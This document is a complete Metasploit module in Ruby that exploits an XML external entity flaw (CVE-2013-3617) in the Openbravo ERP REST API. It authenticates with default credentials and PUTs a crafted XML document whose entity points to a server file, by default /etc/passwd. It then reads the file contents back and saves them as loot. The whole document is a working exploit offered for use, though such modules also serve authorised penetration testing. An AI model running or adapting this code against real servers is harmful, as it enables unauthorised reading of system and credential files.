Openbravo ERP XXE Arbitrary File Read

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'net/dns'  
require 'rexml/document'  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Openbravo ERP XXE Arbitrary File Read',  
'Description' => %q{  
The Openbravo ERP XML API expands external entities which can be defined as  
local files. This allows the user to read any files from the FS as the  
user Openbravo is running as (generally not root).  
  
This module was tested against Openbravo ERP version 3.0MP25 and 2.50MP6.  
},  
'Author' => [  
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module  
],  
'References' => [  
['CVE', '2013-3617'],  
['OSVDB', '99141'],  
['BID', '63431'],  
['URL', 'https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats']  
],  
'License' => MSF_LICENSE,  
'DisclosureDate' => '2013-10-30'  
)  
)  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, 'Base Openbravo directory path', '/openbravo/']),  
OptString.new('HttpUsername', [true, 'The Openbravo user', 'Openbravo']),  
OptString.new('HttpPassword', [true, 'The Openbravo password', 'openbravo']),  
OptString.new('FILEPATH', [true, 'The filepath to read on the server', '/etc/passwd']),  
OptString.new('ENDPOINT', [true, 'The XML API REST endpoint to use', 'ADUser'])  
]  
)  
end  
  
def run  
print_status('Requesting list of entities from endpoint, this may take a minute...')  
users = send_request_raw({  
'method' => 'GET',  
'uri' => normalize_uri(datastore['TARGETURI'], "/ws/dal/#{datastore['ENDPOINT']}"),  
'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])  
}, 60)  
  
if !users || (users.code != 200)  
fail_with(Failure::NoAccess, 'Invalid response. Check your credentials and that the server is correct.')  
end  
  
xml = path = id = other_id = '' # for later use  
doc = REXML::Document.new users.body  
  
doc.root.elements.each do |user|  
id = user.attributes['id']  
other_id = user.attributes['identifier']  
print_status("Found #{datastore['ENDPOINT']} #{other_id} with ID: #{id}")  
  
print_status("Trying #{other_id}")  
xml = %(<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE foo [  
<!ELEMENT comments ANY >  
<!ENTITY xxe SYSTEM "file://)  
  
xml << "#{datastore['FILEPATH']}\" > ]>\n"  
xml << '<ob:Openbravo xmlns:ob="http://www.openbravo.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'  
xml << "<#{datastore['ENDPOINT']} id=\"#{id}\" identifier=\"#{other_id}\">"  
xml << "<id>#{id}</id>"  
xml << '<comments>&xxe;</comments>'  
xml << "</#{datastore['ENDPOINT']}>"  
xml << '</ob:Openbravo>'  
  
resp = send_request_raw({  
'method' => 'PUT',  
'uri' => normalize_uri(target_uri.path, "/ws/dal/#{datastore['ENDPOINT']}/#{id}"),  
'data' => xml,  
'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])  
})  
  
if !resp || (resp.code != 200) || resp.body =~ (/Not updating entity/)  
print_error("Problem updating #{datastore['ENDPOINT']} #{other_id} with ID: #{id}")  
next  
end  
  
print_status("Found writable #{datastore['ENDPOINT']}: #{other_id}")  
  
u = send_request_raw({  
'method' => 'GET',  
'uri' => normalize_uri(datastore['TARGETURI'], "/ws/dal/#{datastore['ENDPOINT']}/#{id}"),  
'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])  
})  
  
u = REXML::Document.new u.body  
path = store_loot('openbravo.file', 'text/plain/', datastore['RHOST'], u.root.elements['//comments'].first.to_s, "File from Openbravo server #{datastore['RHOST']}")  
break  
end  
  
if path != ''  
print_status('Cleaning up after ourselves...')  
  
xml.sub!('&xxe;', '')  
  
send_request_raw({  
'method' => 'PUT',  
'uri' => normalize_uri(target_uri.path, "/ws/dal/#{datastore['ENDPOINT']}/#{id}"),  
'data' => xml,  
'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])  
})  
  
print_good("File saved to: #{path}")  
end  
end  
end  
`